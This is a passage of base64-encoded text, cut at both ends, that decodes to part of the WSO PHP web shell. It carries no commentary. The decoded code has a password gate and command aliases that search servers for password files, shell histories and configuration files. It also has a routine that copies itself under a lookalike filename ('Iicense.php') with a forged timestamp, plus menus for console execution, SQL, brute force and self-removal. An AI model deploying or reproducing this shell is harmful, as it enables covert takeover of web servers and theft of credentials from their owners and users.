bJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiJcIj4NCgkiLiRhZGRDb2RlLiINCgk8L2Zvcm0+Ijt9aWYoIWlzc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pKWlmKGVtcHR5KCRhdXRoX3Bhc3MpIHx8IChpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgKG1kNSgkX1BPU1RbJ3Bhc3MnXSk9PSRhdXRoX3Bhc3MpKSkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldPXRydWU7ZWxzZSBwcmludExvZ2luKCk7aWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAgLDMgKSk9PSJ3aW4iKSRvcz0nd2luJztlbHNlICRvcz0nbml4Jzskc2FmZV9tb2RlPUBpbmlfZ2V0KCdzYWZlX21vZGUnKTtpZighJHNhZmVfbW9kZSllcnJvcl9yZXBvcnRpbmcoMCApOyRkaXNhYmxlX2Z1bmN0aW9ucz1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTskaG9tZV9jd2Q9QGdldGN3ZCgpO2lmKGlzc2V0KCRfUE9TVFsnYyddKSlAY2hkaXIoJF9QT1NUWydjJ10pOyRjd2Q9QGdldGN3ZCgpO2lmKCRvcz09J3dpbicpeyRob21lX2N3ZD1zdHJfcmVwbGFjZSgiXFwiLCIvIiwkaG9tZV9jd2QpOyRjd2Q9c3RyX3JlcGxhY2UoIlxcIiwiLyIsJGN3ZCk7fWlmKCRjd2Rbc3RybGVuKCRjd2QpLTEgXSE9Jy8nKSRjd2QuPScvJztpZighaXNzZXQoJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10pKSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPShib29sKSRHTE9CQUxTWydkZWZhdWx0X3VzZV9hamF4J107aWYoJG9zPT0nd2luJykkYWxpYXNlcz1hcnJheSgiTGlzdCBEaXJlY3RvcnkiPT4iZGlyIiwiRmluZCBpbmRleC5waHAgaW4gY3VycmVudCBkaXIiPT4iZGlyIC9zIC93IC9iIGluZGV4LnBocCIsIkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIj0+ImRpciAvcyAvdyAvYiAqY29uZmlnKi5waHAiLCJTaG93IGFjdGl2ZSBjb25uZWN0aW9ucyI9PiJuZXRzdGF0IC1hbiIsIlNob3cgcnVubmluZyBzZXJ2aWNlcyI9PiJuZXQgc3RhcnQiLCJVc2VyIGFjY291bnRzIj0+Im5ldCB1c2VyIiwiU2hvdyBjb21wdXRlcnMiPT4ibmV0IHZpZXciLCJBUlAgVGFibGUiPT4iYXJwIC1hIiwiSVAgQ29uZmlndXJhdGlvbiI9PiJpcGNvbmZpZyAvYWxsIik7ZWxzZSAkYWxpYXNlcz1hcnJheSgiTGlzdCBkaXIiPT4ibHMgLWxoYSIsImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIj0+ImxzYXR0ciAtdmEiLCJzaG93IG9wZW5lZCBwb3J0cyI9PiJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIiwicHJvY2VzcyBzdGF0dXMiPT4icHMgYXV4IiwiRmluZCI9PiIiLCJmaW5kIGFsbCBzdWlkIGZpbGVzIj0+ImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLCJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiPT4iZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsImZpbmQgYWxsIHNnaWQgZmlsZXMiPT4iZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpciI9PiJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwiZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyI9PiJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIsImZpbmQgY29uZmlnKiBmaWxlcyI9PiJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsImZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciI9PiJmaW5kIC4gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIj0+ImZpbmQgLyAtcGVybSAtMiAtbHMiLCJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciI9PiJmaW5kIC4gLXBlcm0gLTIgLWxzIiwiZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMiPT4iZmluZCAvIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLCJmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIj0+ImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIj0+ImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsImZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIj0+ImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiPT4iZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsImZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciI9PiJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwiZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzIj0+ImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsImZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyIj0+ImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsIkxvY2F0ZSI9PiIiLCJsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyI9PiJsb2NhdGUgaHR0cGQuY29uZiIsImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyI9PiJsb2NhdGUgdmhvc3RzLmNvbmYiLCJsb2NhdGUgcHJvZnRwZC5jb25mIGZpbGVzIj0+ImxvY2F0ZSBwcm9mdHBkLmNvbmYiLCJsb2NhdGUgcHN5Ym5jLmNvbmYgZmlsZXMiPT4ibG9jYXRlIHBzeWJuYy5jb25mIiwibG9jYXRlIG15LmNvbmYgZmlsZXMiPT4ibG9jYXRlIG15LmNvbmYiLCJsb2NhdGUgYWRtaW4ucGhwIGZpbGVzIj0+ImxvY2F0ZSBhZG1pbi5waHAiLCJsb2NhdGUgY2ZnLnBocCBmaWxlcyI9PiJsb2NhdGUgY2ZnLnBocCIsImxvY2F0ZSBjb25mLnBocCBmaWxlcyI9PiJsb2NhdGUgY29uZi5waHAiLCJsb2NhdGUgY29uZmlnLmRhdCBmaWxlcyI9PiJsb2NhdGUgY29uZmlnLmRhdCIsImxvY2F0ZSBjb25maWcucGhwIGZpbGVzIj0+ImxvY2F0ZSBjb25maWcucGhwIiwibG9jYXRlIGNvbmZpZy5pbmMgZmlsZXMiPT4ibG9jYXRlIGNvbmZpZy5pbmMiLCJsb2NhdGUgY29uZmlnLmluYy5waHAiPT4ibG9jYXRlIGNvbmZpZy5pbmMucGhwIiwibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyI9PiJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIiwibG9jYXRlIGNvbmZpZyogZmlsZXMgIj0+ImxvY2F0ZSBjb25maWciLCJsb2NhdGUgLmNvbmYgZmlsZXMiPT4ibG9jYXRlICcuY29uZiciLCJsb2NhdGUgLnB3ZCBmaWxlcyI9PiJsb2NhdGUgJy5wd2QnIiwibG9jYXRlIC5zcWwgZmlsZXMiPT4ibG9jYXRlICcuc3FsJyIsImxvY2F0ZSAuaHRwYXNzd2QgZmlsZXMiPT4ibG9jYXRlICcuaHRwYXNzd2QnIiwibG9jYXRlIC5iYXNoX2hpc3RvcnkgZmlsZXMiPT4ibG9jYXRlICcuYmFzaF9oaXN0b3J5JyIsImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyI9PiJsb2NhdGUgJy5teXNxbF9oaXN0b3J5JyIsImxvY2F0ZSAuZmV0Y2htYWlscmMgZmlsZXMiPT4ibG9jYXRlICcuZmV0Y2htYWlscmMnIiwibG9jYXRlIGJhY2t1cCBmaWxlcyI9PiJsb2NhdGUgYmFja3VwIiwibG9jYXRlIGR1bXAgZmlsZXMiPT4ibG9jYXRlIGR1bXAiLCJsb2NhdGUgcHJpdiBmaWxlcyI9PiJsb2NhdGUgcHJpdiIpO2Z1bmN0aW9uIHdzb0hlYWRlcigpeyR1cGxvYWRfc2hlbGxfcmVzdWx0PSIiO2lmKGlzc2V0KCRfUE9TVFsndXBsb2FkX3NoZWxsJ10pICYmIGlzc2V0KCRfUE9TVFsnZmlsZU5hbWUnXSkpeyRzaGVsbElwbERpcj0oaXNzZXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7JHVwbG9hZF9zaGVsbF9yZXN1bHQ9KEBjb3B5KCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSwkc2hlbGxJcGxEaXIuIi8iLiRfUE9TVFsnZmlsZU5hbWUnXSkpPyJzaGVsbCB1cGxvYWRlZCEiOiJzaGVsbCBOT1QgdXBsb2FkZWQhIjtpZihpc19maWxlKCdpbmRleC5waHAnKSl7JHRpbWVPdGhGaWxlPWZpbGVtdGltZSgnaW5kZXgucGhwJyk7dG91Y2goJHNoZWxsSXBsRGlyLiIvIi4kX1BPU1RbJ2ZpbGVOYW1lJ10sJHRpbWVPdGhGaWxlLCR0aW1lT3RoRmlsZSk7fX1pZihlbXB0eSgkX1BPU1RbJ2NoYXJzZXQnXSkpJF9QT1NUWydjaGFyc2V0J109JEdMT0JBTFNbJ2RlZmF1bHRfY2hhcnNldCddO2dsb2JhbCAkY29sb3I7ZWNobyAiPGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0nQ29udGVudC1UeXBlJyBjb250ZW50PSd0ZXh0L2h0bWw7IGNoYXJzZXQ9Ii4kX1BPU1RbJ2NoYXJzZXQnXS4iJz48dGl0bGU+Ii4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiAtIFdTTyAiLldTT19WRVJTSU9OLiI8L3RpdGxlPg0KPHN0eWxlPg0KYm9keXtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7Y29sb3I6I2UxZTFlMTt9DQpib2R5LHRkLHRoeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7IH0NCnRhYmxlLmluZm97IGNvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojMjIyOyB9DQpzcGFuLGgxLGF7IGNvbG9yOiAkY29sb3IgIWltcG9ydGFudDsgfQ0Kc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQ0Kc3Bhbi5zbWFsbCB7Zm9udC13ZWlnaHQ6bm9ybWFsOyBmb250LXNpemU6OHB4OyB9DQpoMXsgYm9yZGVyLWxlZnQ6NXB4IHNvbGlkICRjb2xvcjtwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQgVmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7bWFyZ2luOjBweDsgfQ0KZGl2LmNvbnRlbnR7IHBhZGRpbmc6IDVweDttYXJnaW4tbGVmdDo1cHg7YmFja2dyb3VuZC1jb2xvcjojMzMzOyB9DQpheyB0ZXh0LWRlY29yYXRpb246bm9uZTsgfQ0KYTpob3ZlcnsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQ0KLm1sMXsgYm9yZGVyOjFweCBzb2xpZCAjNDQ0O3BhZGRpbmc6NXB4O21hcmdpbjowO292ZXJmbG93OiBhdXRvOyB9DQouYmlnYXJlYXsgd2lkdGg6MTAwJTtoZWlnaHQ6MjUwcHg7IH0NCmlucHV0LHRleHRhcmVhLHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAkY29sb3I7IGZvbnQ6IDlwdCBNb25vc3BhY2UsJ0NvdXJpZXIgTmV3JzsgfQ0KZm9ybXsgbWFyZ2luOjBweDsgfQ0KI3Rvb2xzVGJseyB0ZXh0LWFsaWduOmNlbnRlcjsgfQ0KLnRvb2xzSW5weyB3aWR0aDogMzAwcHggfQ0KLyoubWFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlO30qLw0KLm1haW4gdGh7dGV4dC1hbGlnbjpsZWZ0O2JhY2tncm91bmQtY29sb3I6IzExMTExMTsgZm9udC13ZWlnaHQ6Ym9sZDt9DQoubWFpbiB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM1ZTVlNWV9DQoubDF7YmFja2dyb3VuZC1jb2xvcjojNDQ0fQ0KLmwye2JhY2tncm91bmQtY29sb3I6IzMzM30NCnByZXtmb250LWZhbWlseTpDb3VyaWVyLE1vbm9zcGFjZTt9DQo8L3N0eWxlPg0KPHNjcmlwdD4NCiAgICB2YXIgY18gPSAnIi5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuIic7DQogICAgdmFyIGFfID0gJyIuaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydhJ10pLiInDQogICAgdmFyIGNoYXJzZXRfID0gJyIuaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydjaGFyc2V0J10pLiInOw0KICAgIHZhciBwMV8gPSAnIi4oKHN0cnBvcyhAJF9QT1NUWydwMSddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddLEVOVF9RVU9URVMpKS4iJzsNCiAgICB2YXIgcDJfID0gJyIuKChzdHJwb3MoQCRfUE9TVFsncDInXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSxFTlRfUVVPVEVTKSkuIic7DQogICAgdmFyIHAzXyA9ICciLigoc3RycG9zKEAkX1BPU1RbJ3AzJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AzJ10sRU5UX1FVT1RFUykpLiInOw0KICAgIHZhciBkID0gZG9jdW1lbnQ7DQoJZnVuY3Rpb24gc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7DQoJCWlmKGEhPW51bGwpZC5tZi5hLnZhbHVlPWE7ZWxzZSBkLm1mLmEudmFsdWU9YV87DQoJCWlmKGMhPW51bGwpZC5tZi5jLnZhbHVlPWM7ZWxzZSBkLm1mLmMudmFsdWU9Y187DQoJCWlmKHAxIT1udWxsKWQubWYucDEudmFsdWU9cDE7ZWxzZSBkLm1mLnAxLnZhbHVlPXAxXzsNCgkJaWYocDIhPW51bGwpZC5tZi5wMi52YWx1ZT1wMjtlbHNlIGQubWYucDIudmFsdWU9cDJfOw0KCQlpZihwMyE9bnVsbClkLm1mLnAzLnZhbHVlPXAzO2Vsc2UgZC5tZi5wMy52YWx1ZT1wM187DQoJCWlmKGNoYXJzZXQhPW51bGwpZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXQ7ZWxzZSBkLm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldF87DQoJfQ0KCWZ1bmN0aW9uIGcoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsNCgkJc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsNCgkJZC5tZi5zdWJtaXQoKTsNCgl9DQoJZnVuY3Rpb24gYShhLGMscDEscDIscDMsY2hhcnNldCkgew0KCQlzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOw0KCQl2YXIgcGFyYW1zID0gJ2FqYXg9dHJ1ZSc7DQoJCWZvcihpPTA7aTxkLm1mLmVsZW1lbnRzLmxlbmd0aDtpKyspDQoJCQlwYXJhbXMgKz0gJyYnK2QubWYuZWxlbWVudHNbaV0ubmFtZSsnPScrZW5jb2RlVVJJQ29tcG9uZW50KGQubWYuZWxlbWVudHNbaV0udmFsdWUpOw0KCQlzcignIi5hZGRzbGFzaGVzKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKS4iJywgcGFyYW1zKTsNCgl9DQoJZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsNCgkJaWYgKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCkNCgkJCXJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KCQllbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkNCgkJCXJlcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCdNaWNyb3NvZnQuWE1MSFRUUCcpOw0KICAgICAgICBpZiAocmVxKSB7DQogICAgICAgICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsNCiAgICAgICAgICAgIHJlcS5vcGVuKCdQT1NUJywgdXJsLCB0cnVlKTsNCiAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgnQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOw0KICAgICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsNCiAgICAgICAgfQ0KCX0NCglmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgew0KCQlpZiggKHJlcS5yZWFkeVN0YXRlID09IDQpICkNCgkJCWlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7DQoJCQkJdmFyIHJlZyA9IG5ldyBSZWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOw0KCQkJCXZhciBhcnI9cmVnLmV4ZWMocmVxLnJlc3BvbnNlVGV4dCk7DQoJCQkJZXZhbChhcnJbMl0uc3Vic3RyKDAsIGFyclsxXSkpOw0KCQkJfSBlbHNlIGFsZXJ0KCdSZXF1ZXN0IGVycm9yIScpOw0KCX0NCjwvc2NyaXB0Pg0KPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7dG9wOjA7bGVmdDowOyc+DQo8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWE+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDE+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMj4NCg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDM+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0Pg0KPC9mb3JtPiI7JGZyZWVTcGFjZT1AZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOyR0b3RhbFNwYWNlPUBkaXNrX3RvdGFsX3NwYWNlKCRHTE9CQUxTWydjd2QnXSk7JHRvdGFsU3BhY2U9JHRvdGFsU3BhY2U/JHRvdGFsU3BhY2U6MSA7JHJlbGVhc2U9QHBocF91bmFtZSgncicpOyRrZXJuZWw9QHBocF91bmFtZSgncycpO2lmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSl7JHVzZXI9QGdldF9jdXJyZW50X3VzZXIoKTskdWlkPUBnZXRteXVpZCgpOyRnaWQ9QGdldG15Z2lkKCk7JGdyb3VwPSI/Ijt9ZWxzZSB7JHVpZD1AcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTskZ2lkPUBwb3NpeF9nZXRncmdpZChwb3NpeF9nZXRlZ2lkKCkpOyR1c2VyPSR1aWRbJ25hbWUnXTskdWlkPSR1aWRbJ3VpZCddOyRncm91cD0kZ2lkWyduYW1lJ107JGdpZD0kZ2lkWydnaWQnXTt9JGN3ZF9saW5rcz0nJzskcGF0aD1leHBsb2RlKCIvIiwkR0xPQkFMU1snY3dkJ10pOyRuPWNvdW50KCRwYXRoKTtmb3IoJGk9MCA7JGk8JG4tMSA7JGkrKyl7JGN3ZF9saW5rcy49IjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjtmb3IoJGo9MCA7JGo8PSRpOyRqKyspJGN3ZF9saW5rcy49JHBhdGhbJGpdLicvJzskY3dkX2xpbmtzLj0iXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iO30kY2hhcnNldHM9YXJyYXkoJ1VURi04JywnV2luZG93cy0xMjUxJywnS09JOC1SJywnS09JOC1VJywnY3A4NjYnKTskb3B0X2NoYXJzZXRzPScnO2ZvcmVhY2goJGNoYXJzZXRzIGFzICRpdGVtKSRvcHRfY2hhcnNldHMuPSc8b3B0aW9uIHZhbHVlPSInLiRpdGVtLiciICcuKCRfUE9TVFsnY2hhcnNldCddPT0kaXRlbT8nc2VsZWN0ZWQnOicnKS4nPicuJGl0ZW0uJzwvb3B0aW9uPic7JG09YXJyYXkoJ1NlYyBJbmZvJz0+J1NlY0luZm8nLCdGaWxlcyc9PidGaWxlc01hbicsJ0V4ZWMnPT4nQ29uc29sZScsJ1NxbCc9PidTcWwnLCdQSFAgVG9vbHMnPT4ncGhwdG9vbHMnLCdMRkknPT4nbGZpc2NhbicsJ1BocCc9PidQaHAnLCdTYWZlIG1vZGUnPT4nU2FmZU1vZGUnLCdTdHJpbmcgdG9vbHMnPT4nU3RyaW5nVG9vbHMnLCdCcnV0ZWZvcmNlJz0+J0JydXRlZm9yY2UnLCdOZXR3b3JrJz0+J05ldHdvcmsnKTtpZighZW1wdHkoJEdMT0JBTFNbJ2F1dGhfcGFzcyddKSkkbVsnTG9nb3V0J109J0xvZ291dCc7JG1bJ1NlbGYgcmVtb3ZlJ109J1NlbGZSZW1vdmUnOyRtZW51PScnO2ZvcmVhY2goJG0gYXMgJGs9PiR2KSRtZW51Lj0nPHRoIHdpZHRoPSInLihpbnQpKDEwMCAvY291bnQoJG0pKS4nJSI+WzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCcnLiR2LidcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC9hPl08L3RoPic7JGRyaXZlcz0iIjtpZigkR0xPQkFMU1snb3MnXT09J3dpbicpe2ZvcmVhY2gocmFuZ2UoJ2MnLCd6JykgYXMgJGRyaXZlKWlmKGlzX2RpcigkZHJpdmUuJzpcXCcpKSRkcml2ZXMuPSc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7fWVjaG8gJzx0YWJsZSBjbGFzcz1pbmZvIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj4nLic8dGQgd2lkdGg9MT48c3Bhbj5VbmFtZTo8YnI+VXNlcjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDonLigkR0xPQkFMU1snb3MnXT09J3dpbic/Jzxicj5Ecml2ZXM6JzonJykuJzwvc3Bhbj48L3RkPicuJzx0ZD48bm9icj4nLnN1YnN0cihAcGhwX3VuYW1lKCksMCAsMTIwICkuJyA8L25vYnI+PGJyPicuJHVpZC4nICggJy4kdXNlci4nICkgPHNwYW4+R3JvdXA6PC9zcGFuPiAnLiRnaWQuJyAoICcuJGdyb3VwLicgKTxicj4nLkBwaHB2ZXJzaW9uKCkuJyA8c3Bhbj5TYWZlIG1vZGU6PC9zcGFuPiAnLigkR0xPQkFMU1snc2FmZV9tb2RlJ10/Jzxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4nOic8Zm9udCBjb2xvcj0jMjJmZjIyPjxiPk9GRjwvYj48L2ZvbnQ+JykuJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ1BocFwnLG51bGwsXCdcJyxcJ2luZm9cJykiPlsgcGhwaW5mbyBdPC9hPiA8c3Bhbj5EYXRldGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnKS4nPGJyPicud3NvVmlld1NpemUoJHRvdGFsU3BhY2UpLicgPHNwYW4+RnJlZTo8L3NwYW4+ICcud3NvVmlld1NpemUoJGZyZWVTcGFjZSkuJyAoJy4oaW50KSgkZnJlZVNwYWNlLyR0b3RhbFNwYWNlKjEwMCApLiclKTxicj4nLiRjd2RfbGlua3MuJyAnLndzb1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddKS4nIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJEdMT0JBTFNbJ2hvbWVfY3dkJ10uJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBob21lIF08L2E+PGJyPicuJGRyaXZlcy4nPC90ZD4nLic8dGQgd2lkdGg9MT4nO1Nob3dEZWZhdWx0Rm9ybSgiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dXBsb2FkX3NoZWxsIHZhbHVlPVwiMVwiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1maWxlTmFtZSB2YWx1ZT1cIklpY2Vuc2UucGhwXCIgc3R5bGU9XCJ3aWR0aDoxMjBweFwiPjxiciAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cInVwbG9hZCBzaGVsbFwiIHN0eWxlPVwid2lkdGg6MTIwcHhcIj4iKTtwcmludCAiPGJyIC8+Ii4kdXBsb2FkX3NoZWxsX3Jlc3VsdDtlY2hvICc8L3RkPicuJzx0ZCB3aWR0aD01PjwvdGQ+Jy4nPHRkIHdpZHRoPTEgYWxpZ249cmlnaHQ+PG5vYnI+PHNlbGVjdCBvbmNoYW5nZT0iZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPjxvcHRncm91cCBsYWJlbD0iUGFnZSBjaGFyc2V0Ij4nLiRvcHRfY2hhcnNldHMuJzwvb3B0Z3JvdXA+PC9zZWxlY3Q+PGJyPjxzcGFuPlNlcnZlciBJUDo8L3NwYW4+PGJyPicuQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdLic8YnI+PHNwYW4+Q2xpZW50IElQOjwvc3Bhbj48YnI+Jy4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4nPC9ub2JyPjwvdGQ+Jy4nPC90cj48L3RhYmxlPicuJzx0YWJsZSBzdHlsZT0iYm9yZGVyLXRvcDoycHggc29saWQgIzMzMzsiIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj4nLiRtZW51Lic8L3RyPjwvdGFibGU+PGRpdiBzdHlsZT0ibWFyZ2luOjUiPic7fWZ1bmN0aW9uIHdzb0Zvb3RlcigpeyRpc193cml0YWJsZT1pc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pPyIgPGZvbnQgY29sb3I9JyNjY2ZmMDAnPihXcml0ZWFibGUpPC9mb250PiI6IiA8Zm9udCBjb2xvcj1yZWQ+KE5vdCB3cml0YWJsZSk8L2ZvbnQ+IjtlY2hvICINCjwvZGl2Pg0KPHRhYmxlIGNsYXNzPWluZm8gaWQ9dG9vbHNUYmwgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCUgIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjMzMzO2JvcmRlci1ib3R0b206MnB4IHNvbGlkICMzMzM7Jz4NCgk8dHI+DQoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD0nZyhudWxsLHRoaXMuYy52YWx1ZSxcIlwiKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj5DaGFuZ2UgZGlyOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuIic+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+UmVhZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+